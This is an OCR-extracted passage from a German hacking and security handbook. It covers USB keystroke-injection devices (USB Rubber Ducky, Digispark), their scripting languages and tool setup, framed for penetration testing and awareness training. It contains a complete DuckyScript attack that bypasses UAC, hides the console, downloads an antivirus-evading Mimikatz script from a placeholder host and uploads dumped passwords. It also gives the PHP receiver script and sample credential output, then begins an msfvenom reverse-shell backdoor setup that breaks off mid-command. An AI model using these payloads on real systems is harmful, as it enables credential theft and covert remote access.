PPRORPPRPROOR |

U
) =
V 1 a 1 Michael Kofler et al.
d ok B0 8 ofi oiga
g2 1 8 10 i B
g g B 0 01 0O O 0 0 0 1
101 1 00 ¥y 1 1 1 1 0
2 1 & 0 11 = 110 0 0 ¢
1 10 1 1 E & o8B B 1
0 1
1 4 8 8] 1 a 1 010 0 01
0
8 Bt & 0 0 0 159 1 1 g
1
0 41 0 0 1 1 1 04 4 0 O
0 1 0
i 7 & 1 14 O O 2 a2 ¢ 11
0 o O 1 1 1 0395 0 0 g
0 070,\ 1 y 1 100 0 11
SEanEiniia
0 ' 0 0
X 1 1 1
* : , %L 01 L £S5
. 0 .21 8 0
1 0 1
0 1 0
; o
.

Hacking & Security

Das umfassende Handbuch

» Schwachstellen verstehen, Angriffsvektoren identifizieren
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Kapitel 8
Angriffsvektor USB-Schnittstelle

In diesem Kapitel stellen wir Thnen drei Gerate vor, die sogenannte Keystroke-Injec-
tion-Angriffe ermoglichen: Den USB-Rubber-Ducky, Digispark und den Bash Bunny.
Alle drei Hacking-Gadgets geben sich als Human Interface Devices (HID) aus. Sie wer-
den an den angeschlossenen Gerdten als vertrauenswiirdige Tastatur erkannt und
damit in das laufende System eingebunden. Hier arbeiten sie ihre vorgefertigten
Scripts ab und setzen die Befehle in Tastaturanschlage um, ahnlich wie es ein Nutzer
am PC oder mobilen Gerat machen wirde.

Die hier vorgestellten Werkzeuge unterscheiden sich in Form, Grof3e und Speicher-
kapazitat. Einige sehen USB-Sticks zum Verwechseln dhnlich, andere kénnen, auf-
grund ihrer geringen Grofle, auch dauerhaft an oder in einem IT-Gerdt platziert
werden, ohne aufzufallen.

Die Entwicklung ist freilich auch bei diesen Gerdten nicht stehengeblieben. Dabei
lassen sich die Werkzeuge der neuen Generation vom Anwender ganz individuell ein-
richten und fiir die verschiedensten Angriffe flexibel als USB-Tastatur, Netzwerkkarte
oder auch serielle Schnittstelle einsetzen. Dabei konnen mehrere Payloads im Werk-
zeug gespeichert sein, die einfach mit Hilfe eines Multischalters ausgewahlt werden.
Die vom Nutzer programmierbaren LEDs zeigen den aktuellen Stand des Programm-
ablaufes an und signalisieren einen erfolgreichen oder fehlgeschlagenen Angriff.

Hiermit ergibt sich ein grofles Anwendungsspektrum, das vom Auslesen von Nut-
zerinformationen und Passwortern iiber das Einrichten von Hintertiiren bis hin zu
komplexen Angriffen auf das angeschlossene Netzwerk reicht. Die daflir notwendi-
gen Scripts stehen im Internet zum Download bereit. Hier lassen sich praktisch fiir
jedes Betriebssystem und fiir jeden Angriff die passenden Payloads finden.

Schon nach relativ kurzer Einarbeitungszeit sind erfahrene Anwender wie auch Ein-
steiger in der Lage, eigene Scripts zu entwickeln oder vorhandene anzupassen, um so
die ihnen zur Verfligung gestellten Systeme auf bereits bestehende, aber auch zukuinf-
tige Schwachstellen zu priifen.

Wie wir am Ende des Kapitels ausfiihren werden, ist es moglich, sich durch techni-
sche Schutzmafinahmen gegen derartige Angriffe zumindest teilweise wehren. Ganz
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8 Angriffsvektor USB-Schnittstelle

entscheidend ist hier aber der menschliche Faktor. Insofern sollten Mitarbeiterschu-
lungen an erster Stelle stehen.

Aus eigener Erfahrung konnen wir sagen, dass IT-Security-Awareness-Veranstal-
tungen immer dann einen nachhaltigen Eindruck hinterlassen, wenn Themen nicht
nur theoretisch behandelt werden. Die in diesem Abschnitt vorgestellten USB-Gerate
eignen sich hervorragend, um den Nutzern von Informationstechnik die lauernden
Gefahren vor Augen zu fiithren. Sie werden daher gern zur Sensibilisierung der Mit-
arbeiter oder zu IT-Sicherheitstrainings eingesetzt. Das mit der Durchfiihrung beauf-
tragte Personal kann mit Hilfe dieser Lektiire den Schulungen einen individuellen
und praktischen Anteil verleihen. Weitere Anregungen finden Sie in Abschnitt 10.6,
»Angriffsvektor USB-Phishing«.

8.1 USB-Rubber-Ducky

Mit dem USB-Rubber-Ducky schuf die Firma Hak5 einen Quasistandard fir USB-
Angriffe alle Art. Dazu entwickelten sie eine einfache Scriptsprache und veroffentlich-
ten eine Reihe von Payloads auf ihrer Webseite:

https.//github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

Mittlerweile lasst sich der Ducky mit allen Betriebssystemen nutzen. Das vorrangig
flir Administratoren und Penetration-Tester entwickelte Werkzeug dhnelt von auf3en
einem herkdmmlichen USB-Stick. Aufgrund der Funktionsweise konnte man ihn eher
als programmierbare Tastatur bezeichnen.

Aufbau und Funktionsweise

Der USB-Rubber-Ducky besteht aus einem Atmel-60-MHz-32-Bit-Prozessor, einem
JTAG-Interface fiir I/O-Operationen und einem microSD-Kartenleser (sieche Abbil-
dung 8.1). Er lasst sich mit dem herkdmmlichen USB-2.0-Anschluss an fast allen
Geriten betreiben und emuliert dabei eine Tastatur. Zusitzlich ist der USB-Rubber-
Ducky mit einem Drucktaster und einer LED ausgestattet.

Das Gerat ist somit ausschlieflich fiir Keystroke-Injection-Angriffe konzipiert und
regte schnell die Phantasie von Penetration-Testern und Entwicklern an. Nicht zuletzt
trug die einfach gehaltene Scriptsprache zum Erfolg bei, mit der sich bereits in weni-
gen Minuten Payloads erschaffen lassen. Es ist daher nicht verwunderlich, dass die
Open-Source-Gemeinde schon viele Scripts und Anwendungsbeispiele erstellt hat,
die nur noch an die eigenen Bedingungen angepasst werden miissen.
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Abbildung 8.1 USB-Rubber-Ducky mit microSD-Karte

DuckyScript

Die Programmierung des Rubber-Duckys erfolgt in der Sprache DuckyScript. Die fol-
gende Liste fasst die wichtigsten Elemente der Sprache zusammen und demonstriert
ihre Anwendung anhand einfacher Beispiele:

» REM: REM kennzeichnet Kommentare.

» WINDOWS oder GUI: Diese beiden Kommandos simulieren das Betatigen der []-
Taste, der (s]-Taste unter macOS bzw. der »Supertaste« unter Linux. Als Parameter
konnen Sie ein einzelnes Zeichen oder eine Zeichenkette tibergeben:

REM Spotlight-Suche in macO0S aufrufen
GUI SPACE

REM Ausfihren-Dialog in Windows &ffnen
WINDOWS r

REM Windows-Einstellungen &ffnen
WINDOWS 1

REM Windows-Kontextmeni des Startmeniis 6ffnen
WINDOWS X

» DELAY: Mit DELAY erzwingen Sie eine Pause bis zur nachsten Befehlsausfithrung.
Das ist empfehlenswert, um dem Zielsystem Zeit zur Verarbeitung eines Komman-
dos zu geben. Die Zeit geben Sie in Millisekunden an.
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8 Angriffsvektor USB-Schnittstelle

Alternativ verwenden Sie f oder DEFAULTDELAY, um eine Verzogerung zwischen
jedem Kommando im Script zu erzeugen. Dies miissen Sie am Anfang des Scripts
deklarieren.

REM Warte 5 Sekunden, um Datei zu laden
DELAY 5000

REM Warte immer 200 ms bis zum nachste Kommando
DEFAULT DELAY 200

» STRING: STRING simuliert die Tastatureingabe einer Zeichenkette auf dem System.

REM macOS-Spotlight-Suche starten

GUI SPACE

REM Einstellungen fir Internetaccounts 6ffnen
STRING Internet-Accounts

REM Windows-Eingabeaufforderung-Fenster o6ffnen
WINDOWS

STRING cmd.exe

ENTER

» MENU oder APP: Die beiden Kommandos simulieren das Betdtigen der Menu-
bzw. Applikationstaste unter Windows. Hier ware alternativ auch die Kombination
UMSCHALT+F10 moglich.

REM Wordpad offnen und Text aus der Zwischenablage einfiigen
GUI 1

STRING wordpad

ENTER

MENU

STRING E

» SHIFT, ALT sowie CTRL oder CONTROL: Diese Kommandos simulieren die entspre-
chenden Steuerungstasten. Sie werden oft in Kombination mit anderen Tasten
genutzt. DuckyScript erlaubt z. B. die folgenden Kombinationen:

— SHIFT mit DELETE, HOME, INSERT, PAGEUP, PAGEDOWN, WINDOWS, GUT, UPARROW, DOWNARROW,
LEFTARROW, RIGHTARROW, TAB

— ALT mit END, ESC, ESCAPE, F1 bis F12, SPACE, TAB oder mit einem einzelnen Buchsta-
ben oder Zeichen

— CTRL mit BREAK, PAUSE, F1 bis F12, ESCAPE, ESC oder mit einem einzelnen Zeichen

REM aktive Anwendung beenden
ALT F4

REM Windows-Task-Manager &ffnen
CTRL SHIFT ESC
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REM Linux-Terminal unter Ubuntu o6ffnen
CTRL ALT T

REM Mission-Control in macOS ausfiihren
ALT F3

» REPEAT: REPEAT wiederholt das vorige Kommando n-mal.

REM Pfeiltaste 5-mal nach rechts und dann 3-mal nach
REM unten bewegen. Enter betdtigen.

RIGHT

REPEAT 4

DOWN

REPEAT 2

ENTER

» Je nach Betriebssystem und verwendetem Tastaturtreiber konnen weitere Kom-
mandos zum Einsatz kommen, deren Bedeutung weitgehend mit der Bezeich-
nung auf der Tastatur Ubereinstimmt. Das sind unter anderem BREAK oder PAUSE,
CAPSLOCK, DELETE, ESC oder ESCAPE, HOME, INSERT, NUMLOCK, PAGEUP, PAGEDOWN, PRINT-
SCREEN, SCROLLLOCK, SPACE und TAB.

Windows-Passworter mit dem USB-Rubber-Ducky auslesen

Wie bereits erwahnt, gibt es eine grofle Anzahl von fertigen DuckyScript-Scripts, die
Sie nur noch anpassen miissen. Um Sie beim Erstellen Thres ersten DuckyScript-
Scripts zu unterstiitzen, haben wir uns folgendes Szenario Uberlegt, mit dem Sie
Passworter aus einem Windows 7-PC im Klartext auslesen kdnnen. Neben dem zu
erstellenden DuckyScript-Script werden zwei weitere Dateien benotigt, die der Angrei-
fer auf einem Webserver ablegt.

In einem ersten Schritt legt der Angreifer die benétigten Dateien auf seinem Webser-
ver ab (siehe Abbildung 8.2). Sobald der USB-Rubber-Ducky ins Zielsystem gesteckt
wird, 1adt dieses ein Script herunter (Schritt 3) und fiihrt es auf dem Windows 7-PC aus.
Nun werden die Passworter ausgelesen und an den Webserver tibertragen. Der Angrei-
fer braucht nur noch die Passworter im Klartext vom Webserver abzurufen (Schritt 5).

Der Zugriff auf die Nutzerdaten wird in Windows durch den LSASS-Prozess verwaltet.
Wenn ein Angreifer auf einem PC lokale Administratorenrechte erlangt, so kann er
auf die Zugangsdaten samtlicher angemeldeten Benutzer zugreifen.

Zum Auslesen der Passworter auf einem Windows 7-PC greifen wir auf ein ange-
passtes PowerShell-Script auf der Basis von mimikatz zuriick, das Sie auch in den
Beispieldateien zum Buch finden. mimikatz stellen wir in Abschnitt 13.5, »Pass-the-
Hash-Angriffe (mimikatz)«, ausfiihrlicher vor.
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Webserver
(php) ©

Malware herunterladen

Passworte
abgreifen

D Mimikatz- @

Malware
libertragen

Angreifer — 0 S
ript
192.168.0.11 Opfer
Windows 7
192.168.0.88

Abbildung 8.2 Passworter stehlen mit dem USB-Rubber-Ducky

Das Originalscript und weitere Informationen finden Sie auf folgenden Webseiten:

https.//raw.githubusercontent.com/mattifestation/PowerSploit/master/
Exfiltration/Invoke-Mimikatz.psl
https://github.com/gentilkiwi/mimikatz/tree/master/mimikatz

Gegentiiber dem Originalscript mussten kleine Veranderungen vorgenommen wer-
den, da diverse Virenschutzprogramme das heruntergeladene Script als Malware
identifizierten. Dieses Beispiel zeigt aber auch, wie leicht es teilweise ist, solche Soft-
ware anzupassen. In diesem Fall reichte es tatsdchlich aus, den Funktionsnamen zu
verandern, um das Script nicht mehr als schadhaft erscheinen zu lassen.

Zusatzlich dazu miissen Sie auf einem Webserver ein PHP-Script (rx.php) ablegen, das
den ordnungsgemafien Empfang der Daten vom Zielsystem ermoglicht und sie in der
Datei <IP-Adresse Datum Uhrzeit>.creds speichert:

<?php
$file = $ SERVER[ 'REMOTE_ADDR'] . " "
date("Y-m-d H-i-s").".creds";
file put _contents($file, file get contents("php://input"));
?>

Auf dem USB-Rubber-Ducky ist ein Script gespeichert, das Sie mit Hilfe Ihres bevor-
zugten Editors erstellen kénnen. Im folgenden Listing sind die Zeilen nummeriert,
damit wir die Funktionen des Codes besser erlautern konnen. Geben Sie die Num-
mern nicht mit ein!
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1 REM Title: Invoke mimikatz and send creds to remote server
2 REM Author: Hak5Darren Props: Mubix, Clymb3r, Gentilkiwi,
3 DELAY 1000

4 REM Open an admin command prompt

5 GUI r

6 DELAY 500

7 STRING powershell Start-Process cmd -Verb runAs

8 ENTER

9 DELAY 2000
10 ALT j
11 DELAY 1000
12 REM Obfuscate the command prompt
13 STRING mode con:cols=18 lines=1
14 ENTER
15 STRING color FE
16 ENTER
17 DELAY 2000
18 REM Download and execute Invoke mimikatz, upload the results
19 STRING powershell "IEX (New-Object Net.WebClient).

DownloadString ("http://evil.xxx.de/im.psl");
$output=Invoke-Pill -DumpCreds; (New-Object Net.WebClient).
UploadString ("http://evil.xxx.de/rx.php"', $output)"”

20 ENTER

21 STRING exit

22 ENTER

Mit den in den Zeilen 7 bis 10 aufgefiihrten Befehlen wird die Benutzerkonten-
steuerung auf dem Windows 7-PC iiberwunden, um das in Zeile 19 aufgerufene
PowerShell-Script mit lokalen administrativen Rechten auszufiihren.

In Zeile 13 haben wir einen Befehl eingefiigt, der das geoffnete Fenster so weit ver-
kleinert, dass nur noch eine Zeile (1ines=1) und dort 18 Zeichen (cols=18) auf dem
Bildschirm sichtbar sind. Hier sollte ein eventuell anwesender Nutzer keinen Ver-
dacht schopfen, da alle nachfolgenden Befehle in diesem kleinen Fenster angezeigt
werden. In Zeile 15 verdndern wir zusitzlich die Farben in der Konsole. Hier lassen
sich nattirlich weitere Befehle finden, die die eigentliche Absicht weiter verschleiern.

Der eigentliche Angriff erfolgt in Zeile 19. Hier 1adt der Nutzer die Datei im.ps1 herun-
ter, fihrt das PowerShell-Script auf dem Zielsystem aus und uibertragt die Passworter
uber das Script rx.php an den Webserver. Die folgenden Befehle schlief3en die geoff-
neten Fenster.

Beachten Sie hierbei insbesondere, dass Sie den Inhalt von Zeile 19 des vorliegenden
Scripts unbedingt in Threm Texteditor in eine Zeile schreiben miissen. Weitere Zei-
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chen kdnnen unter Umstidnden auf dem Zielsystem falsch interpretiert werden und
die Funktion des Scripts beintrachtigen.

Dieser Angriff dauerte auf unserem Lenovo-ThinkPad-Testsystem ungefahr 15 Sekun-
den. Der Angreifer findet das Ergebnis auf dem Webserver in Form einer Textdatei
vor, die das Passwort des angemeldeten Nutzers fneagle im Klartext enthalt. (Das fol-
gende Listing wurde aus Platzgriinden etwas gekiirzt.)

mimikatz 2.0 alpha (x64) release "Kiwi en C"
mimikatz (powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 195586 (00000000:0002fc02)
Session : Interactive from 1

msv
[00000003] Primary
* Username : fneagle

x Domain : ThinkPad
* NTLM : 29271d03dec4c4dfaf66d3125864c7¢e6
* SHA1 : 02d2a2826de6c6473c30c5918885c65b9c3714cd
[00010000] CredentialKeys
* NTLM 1 29271d03dec4c4dfaf66d3125864c7¢e6
* SHA1 : 02d2a2826de6c6473¢c30c591f8885c65b9c3714cd
tspkg
wdigest
* Username : fneagle
* Domain : ThinkPad
* Password : Geheiml12345
kerberos
* Username : fneagle
* Domain : ThinkPad
x Password : (null)

Mit dem Duck Encoder zur fertigen Payload

Wer denkt, das im vorherigen Abschnitt erstellte Script sofort einsetzen zu konnen,
den miussen wir leider enttauschen. Um das DuckyScript-Script auf der microSD-
Karte zu nutzen, muss es zundchst kodiert werden. Zu diesem Zweck haben die
Entwickler den Duck Encoder auf der Basis von Java zur Verfligung gestellt.

https.//github.com/hak5darren/USB-Rubber-Ducky/wiki/Downloads
Eine Zusammenfassung der Syntax dieses Programms liefert der folgende Befehl:

java -jar duckencoder.jar -h
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Im Wesentlichen mussen Sie drei Parameter tibergeben. Neben der Eingabe- und Aus-
gabedatei lasst sich hier auch das gewtinschte Tastaturlayout einstellen.

Wenn Sie ein Linux-System auf der Basis von Ubuntu nutzen, konnen Sie sofort
mit der Kodierung des Beispielscripts fortfahren. Dazu fithren Sie das folgende Kom-
mando aus:

java -jar duckencoder.jar -1 de -i ducky code.txt -o inject.bin

Damit haben Sie ein deutsches Tastaturlayout, als Eingabedatei das Beispielscript
ducky code.txt und als Ausgabedatei inject.bin ausgewahlt.

Sie konnen der Ausgabedatei auch einen anderen Namen zuweisen. Es ist aber wich-
tig, dass die spater auf dem USB-Rubber-Ducky verwendete Datei diesen Namen tragt.

Wenn Sie sich nicht scheuen, Ihr Script iber das Internet zu kodieren, konnen Sie
eine Online-Variante des Duck Encoders nutzen. Die Site https://ducktoolkit.com stellt
neben einem Online-Encoder auch einen Payload-Generator zur Verfigung (siehe
Abbildung 8.3). Hier konnen Sie vorgefertigte Scripts fiir Linux und Windows in ver-
schiedenen Kategorien auswéahlen.

| I [ [ I T
Duck Toolkit A Payload Generator Encoder Decoder User Scripts. Share Script Change VID&PID Login Help About

Duck Code Language

Language Default: GB
Generate Seript

Advertising

DOLOAD NOW

Abbildung 8.3 Duck Toolkit als Online-Variante des Duck Encoders

Ist das Script kodiert, so ldsst es sich mit Hilfe des mitgelieferten Kartenlesers auf die
microSD-Karte kopieren. Sie konnen dort nattrlich je nach Speicherkapazitat meh-
rere Dateien aufbewahren. Es wird aber nur die Payload mit dem Namen inject.bin
ausgefihrt; diese muss sich im Wurzelverzeichnis befinden.

Oftmals ist es bei den Tests notwendig, die Payload auf dem Zielsystem mehrfach
auszufiihren. Betdtigen sie hierzu einfach den Drucktaster. Aufierdem wird der Taster
zum Aufspielen neuer Firmware benoétigt, was wir im folgenden Abschnitt behandeln
werden.
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Alternative Firmware fiir den USB-Rubber-Ducky

Die Nutzer erkannten natiirlich schnell, dass sich der USB-Rubber-Ducky mit Hilfe
von alternativer Firmware weiter verbessern lasst. So dauerte es nicht lange, bis
ein Entwickler Software zur Verfligung stellte, mit der sich das Gerat u.a. als »USB-
Tastatur« und als »USB-Speicher« nutzen ldsst. Den dazu bendtigten Ducky-Flasher
finden Sie auf der folgenden Webseite:

https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/ducky-flasher

Das folgende Listing zeigt, wie Sie das Programm unter Ubuntu installieren und ein-
richten kdnnen:

apt install dfu-programmer

wget https://github.com/hak5darren/USB-Rubber -Ducky/raw/\
master /Flash/ducky-flasherl.0.zip

unzip ducky-flasher1.0.zip

cd ducky-flasherl.0

sudo python setup.py

sudo ducky-flasher

Um eine neue Software aufspielen zu konnen, miissen Sie den USB-Rubber-Ducky in
den DFU-Modus versetzen. DFU steht dabei flir Device Firmware Upgrade und ist als
ein Wartungsmodus zu verstehen, in dem die Firmware modifiziert werden kann.

Auf dem USB-Rubber-Ducky befindet sich dazu eine Taste (siehe Abbildung 8.4), die
beim Einstecken in die USB-Schnittstelle des Gerates einige Sekunden gedriickt wer-
den muss. Der Ducky wird dann in den Wartungszustand versetzt, und die Firmware
lasst sich mit dem bereits beschriebenen Script neu aufspielen.

Vor- und Nachteile des USB-Rubber-Duckys

Der USB-Rubber-Ducky eroberte schnell die Herzen der Penetration-Tester und Ent-
wickler, weil er einfach zu bedienen und zu modifizieren ist. Die hohe Anzahl von
bereits vorhandenen Payloads ldsst auf eine grofe Anwenderschar schlielen, die
auch gern ihr Wissen im Internet zur Verfiigung stellt.

Aus unserer Sicht lassen sich folgende Vorteile in der Nutzung des USB-Rubber-
Duckys erkennen:

unter Windows, macOS und Linux nutzbar

sehr einfach zu erlernende Scriptsprache

Scripts sind nach dem Konvertieren auf anderen Systemen verwendbar
hohe Anzahl von bereits verfligbaren Scripts

vV v.v. v Yy

sieht einem USB-Stick zum Verwechseln dhnlich
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Abbildung 8.4 Der winzige Push-Button des USB-Rubber-Duckys (in der Bildmitte) muss
zum Flashen gedriickt werden.

Dem stehen einige Nachteile gegentiber:

nur in den USA und einigen wenigen Shops in Deutschland bestellbar
vergleichbar hoher Preis fiir die erworbene Hardware

Es kann immer nur ein Script ausfithrbar bereitgehalten werden.
keine Netzwerk- bzw. WLAN-Unterstiitzung

vV vV.v v v

umstdndliches Kodieren der Scripts mittels Java oder Online-Tool

8.2 Digispark—ein Wolfim Schafspelz

Obwohl der Digispark nur so grof§ wie eine 1-Cent-Miinze ist (sieche Abbildung 8.5),
verbirgt sich dahinter ein fertig bestiicktes Arduino-kompatibles Board. Obwohl er
aufgrund der Grofie und der verfligbaren Speicherkapazitit nicht an den vorhin vor-
gestellten USB-Rubber-Ducky heranreicht, so lasst es sich doch analog einsetzen.

Es ist mit einem 8-beinigen Atmel Attiny 85 Microcontroller und einem USB-
Programmieranschluss ausgestattet. Der verfiigbare Speicherplatz auf der Platine
betragt 6 KByte. Einmal an einen Server, Arbeitsplatzcomputer oder auch an ein
mobiles IT-Gerit iber die USB-Schnittstelle angeschlossen, wird die Platine dank des
HID-Standards als Tastatur erkannt und von allen gangigen Betriebssystemen unter-
stutzt.
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Abbildung 8.5 Digispark-Platine

Um den Digispark zu programmieren, benotigen Sie eine Entwicklungsumgebung,
die Sie auf folgender Webseite herunterladen konnen:

https://www.arduino.cc/en/Main/Software

Hiermit ist auch bereits der grofite Unterschied zum USB-Rubber-Ducky genannt.

War es mit dem Ducky noch maoglich, die Scripts mit einem einfachen Texteditor
zu erstellen, so sind Sie beim Digispark an die Arduino-Umgebung gebunden. Das
entwickelt sich aber auch gleichzeitig zum Vorteil, wenn man bedenkt, dass nun
kein umstandliches Kodieren iiber ein externes Programm mehr notwendig ist. Das
so erstellte Script lasst sich mit Hilfe der Entwicklungsumgebung sofort auf den
Digispark ibertragen.

Arduino-Entwicklungsumgebung herunterladen und einrichten

Laden Sie dazu das flr Ihre Testumgebung passende Software-Paket herunter, und
speichern Sie die Daten z. B. im Verzeichnis opt ab. Das folgende Listing zeigt, wie Sie
die Entwicklungsumgebung auf einem Linux-System installieren und einrichten:

sudo -s

tar -xf arduino-1.8.5-1linux64.tar.xz
rm arduino-1.8.5-1inux64.tar.xz

cd arduino-1.8.5

./install.sh

Damit erstellen Sie die ausfiihrbare Datei arduino. Beim ersten Aufruf des Programms
finden Sie eine sehr spartanische Oberflache vor (siehe Abbildung 8.6), die Sie nun
noch anpassen miissen.
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sketch_jan27a | Arduino 1.8.5
File Edit Sketch Help

sketch_jan27a

oid setup(} { =
A/ put your setup code here, to run once:

}

void loop() {
J/ put your main code here, to run repeatedly:

Abbildung 8.6 Arduino-Entwicklungsumgebung unter Ubuntu

Als ersten Schritt tragen Sie Uber das Menu FILE - PREFERENCES einen zusatzlichen
Boards Manager ein (siehe Abbildung 8.7). Dazu ergdnzen Sie im unteren Teil des Dia-
logs die folgende URL:

http://digistump.com/package_digistump_index.json

Settings | MNebwork

Sketchbook location:

[froot,fArduino\ Browse
Editor language: Systerm Default v | (requiresrestart of Arduino)
Editor Font size: 12

InterfFace scale: & Autornatic % (requires restart of Arduino)

Show verbose output during: [ compilation ] upload
Compilerwarnings: MNone e

[ Display line numbers

"] Enable Code Folding

Verify code after upload

["] Use external editer

& Aggressively cache compiled core

® Check For updates on startup

& Update sketch files to new extension on save (.pde ->.ino)
[ Save when verifying or uploading

Additional Boards Manager URLs:  http://digisturnp.com/package_digistump_index.json

La]

More preferences can be edited directly In the File
Jroot/ arduinod5/preferences.txt
(edit only when Arduina is nat running)

OK | | Cancel

Abbildung 8.7 Board Manager fir die Arduino-Entwicklungsumgebung einrichten
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Unter TOOLS « BOARD - BOARDS MANAGER suchen Sie nun nach dem Digistump AVR
Boards und fligen ihn mit Klick auf den INSTALL-Button hinzu (siehe Abbildung 8.8).
Zuletzt wihlen Sie unter TOOLS + BOARD den Eintrag DIGISPARK (DEFAULT — 16,5 MHz)
aus, damit die weiteren Arbeiten dieses Board betreffen.

@ @ Boards Manager

Type |all = | |Dig

Digistump AVR Boards by Digistump
Boards included in this package:
Digispark (Default - 16,5mhz), Digispark Pro (Default 16 Mhz), Digispark Pro (16 Mhz) (22 byte buffer), Digispark Pro (18 Mhz) (64
byte buffer), Digispark (16mhz - No USB), Digispark (8mhz - Ho USB), Digispark (imhz - Ho USB),
Online help

More info Install

Digistump SAM Boards (32-bits ARM Cortex-M3) by Digistump
Boards included in this package:

Digisturnp DigiX.

Online help

More info

Dak by Digistump by Digistump

Boards included in this package:

Oak by Digisturnp (Pin 1 Safe Mode - Default), Oak by Digistump (Pin 1 Safe Mode - Manual Config Only), Oak by Digistump (Ho
Safe Mode - ADVANCED QNLY).

Online help

More info

Close

Abbildung 8.8 Digistump AVR Boards installieren

Deutsche Tastatur einrichten

Im Grunde ist die Entwicklungsumgebung auf Ihrem Linux-System nun eingerich-
tet und betriebsbereit. Wenn Sie die mitgelieferten Beispielscripts ausfiihren, werden
Sie aber schnell feststellen, dass einzelne Tastenkombinationen und Befehle nicht
ordnungsgemaf’ funktionieren. Die Ursache dafiir ist die am Anfang des Scripts ein-
gefligte Header-DateiDigiKeyboard.h. Diese unterstiitzt nur das US-Tastatur-Layout.

Erfreulicherweise hat der Arduino-Nutzer Adnan Alhomssi auf GitHub ein deutsches
Tastaturlayout bereitgestellt, das Sie in Thre Umgebung einpflegen mussen. Dazu
laden Sie das Repository herunter und kopieren die Datei DigiKeyboardDe.h in Thre
Arduino-Entwicklungsumgebung. Das folgende Listing zeigt die dafiir notwendigen
Befehle. Als Ergebnis verfiigt Thre Arduino-Oberfliche nun tiber zwei Header-Dateien,
die Sie je nach Bedarf einsetzen konnen:

cd /opt

git clone https://github.com/adnanonline/DigistumpArduinoDe.git

cd DigistumpArduinoDe/digistump-avr/libraries/DigisparkKeyboard

cp DigiKeyboardDe.h /root/.arduinol5/packages/digistump/\
hardware/avr/1.6.7/1libraries/DigisparkKeyboard
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Die Scriptsprache des Digisparks

Die folgende Aufzahlung beschreibt die wichtigsten Kommandos der Scriptsprache
und zeigt einige Anwendungsbeispiele. Im Grunde bendtigen Sie nur wenige Kom-
mandos, um einfache Szenarien umzusetzen. Im Wesentlichen geht es dhnlich wie
beim USB-Rubber-Ducky darum, bestimmte Tastenkombinationen zu simulieren,
Text und Kommandos der genutzten Betriebssysteme einzugeben und Verzégerun-
gen im Ausfithren von Befehlen zu erwirken.

» Einzeilige Kommentare werden wie in vielen Programmiersprachen mit // einge-
leitet, mehrzeilige Kommentare zwischen /+ und */ eingeschlossen.

» DigiKeyboardDE .sendKeyStroke () simuliert das Betétigen einer Taste.

// Spotlight-Suche in mac0S aufrufen
DigiKeyboardDe.sendKeyStroke (KEY_SPACE, MOD GUI LEFT)

// Ausfihren-Dialog in Windows &ffnen
DigiKeyboardDe.sendKeyStroke (KEY R, MOD_GUI LEFT)

// Windows 10-Einstellungen 6ffnen
DigiKeyboardDe.sendKeyStroke (KEY_I, MOD_GUI LEFT)

// Windows 10-Kontextmeni des Startmeniis 6ffnen
DigiKeyboardDe.sendKeyStroke (KEY X, MOD_GUI LEFT)

// Enter-Taste betdtigen
DigiKeyboardDe.sendKeyStroke (KEY_ENTER)

// betdtigt gleichzeitig die Tasten Strg+Shift+W und
// schlieft das aktuelle Fenster in Ubuntu
DigiKeyboardDe.sendKeyStroke (KEY_W,

MOD_CONTROL LEFT | MOD_SHIFT LEFT)

» DigiKeyboardDe.delay(n) erzeugt eine Pause bis zur ndchsten Befehlsausfiihrung.
Die Zeit wird in Millisekunden angegeben.

// 5 Sekunden warten, um eine Datei zu laden
DigiKeyboardDe.delay (5000)

» DigiKeyboardDe.print("text") bzw. DigiKeyboardDe.println("text") simuliert die
Eingabe des entsprechenden Textes, wobei bei der println-Variante hinzuge-
flgt wird.

// den folgenden Befehl in einer Linux-Konsole ausfiihren
DigiKeyboardDe.println("chmod +x shell.elf")
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// wie oben, die Eingabe der Enter-Taste wird aber erst
// durch das zweite Kommando simuliert
DigiKeyboardDe.print ("chmod +x shell.elf");
DigiKeyboardDe.sendKeyStroke (KEY_ENTER)

» digitalWrite(1, HIGH) bzw. digitalWrite(1, LOW) schaltet die LED des Digispark
ein bzw. wieder aus.

Linux-Backdoor mit Digispark einrichten

Gerade weil der Digispark sehr klein ist, lasst er sich an einem Client-PC oder Server
sehr unauffallig anbringen. Denkbar wire auch, eine via Adapterkabel am Pfostenste-
cker angeschlossene Digispark-Platine in einem IT-Gerat zu hinterlegen. Damit ware
sie von aufen gar nicht sichtbar.

Im folgenden Szenario haben wir den Digispark auf der Riickseite eines Desktop-PCs
platziert (siehe Abbildung 8.9). Das Ziel besteht darin, iiber diesen Weg auf einem
Linux-Gerat eine Hintertiir einzurichten, die sich regelmafig beim Angreifer »mel-
det« und somit eine versteckte Kommunikation erlaubt.

Abbildung 8.9 Digispark auf der Riickseite eines Desktop-PCs platziert
Der Angriff setzt eine permanente Verbindung ins Internet voraus. Die Linux-Hinter-
tlir wiirde ein Angreifer auf einem Webserver ablegen (Schritt 1, siehe Abbildung 8.10).

Dadurch hat er gegebenenfalls die Moglichkeit, den Code zu verdndern oder anzu-
passen, ohne dass er den Digispark austauschen muss. Das Opfer ladt die Hintertiir
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herunter (Schritt 3) und ermoglicht beim Ausfiihren der Payload eine permanente
verschliisselte Verbindung zum Angreifer.

Hintertiir herunterladen

Webserver
(php)

Hintertiir ibertragen

1
o s, permanente  \
e Verbindung \

»° o
F—— N D

Angreifer N (2) SDllﬁ‘StPa’k'
192.168.0.115 P
Opfer
Linux
192.168.0.26

Abbildung 8.10 Mit Digispark eine Hintertiir fiir den Linux-PC einrichten

Damit das Vorhaben gelingt, ist ein wenig Vorarbeit notwendig. Der Angriff greift
auf eine Payload zurtick, die Sie mit dem Payload-Generator msfvenom des Metasploit-
Frameworks erzeugen konnen. Die so erzeugte Linux-Hintertiir speichern Sie auf
einem Webserver ab und bieten sie zum Download an. Auflerdem miissen Sie einen
Handler auf dem Angriffssystem einrichten, der die eingehende Verbindung verarbei-
ten kann.

In unserem speziellen Fall soll die Payload auf einem 64-Bit-Linux-System ausgefihrt
werden und eine rickwértige (reverse) Verbindung zum Angriffssystem mittel TCP
sicherstellen. Die Payload soll ohne Zugriff auf die Festplatte des Zielsystems auskom-
men und vollstdndig im Arbeitsspeicher arbeiten. Das folgende Kommando erstellt
den dazu benotigten Code und speichert ihn in der Datei shell.elf auf dem Angriffs-
system ab:

msfvenom --platform linux -p linux/x64/meterpreter/reverse tcp \
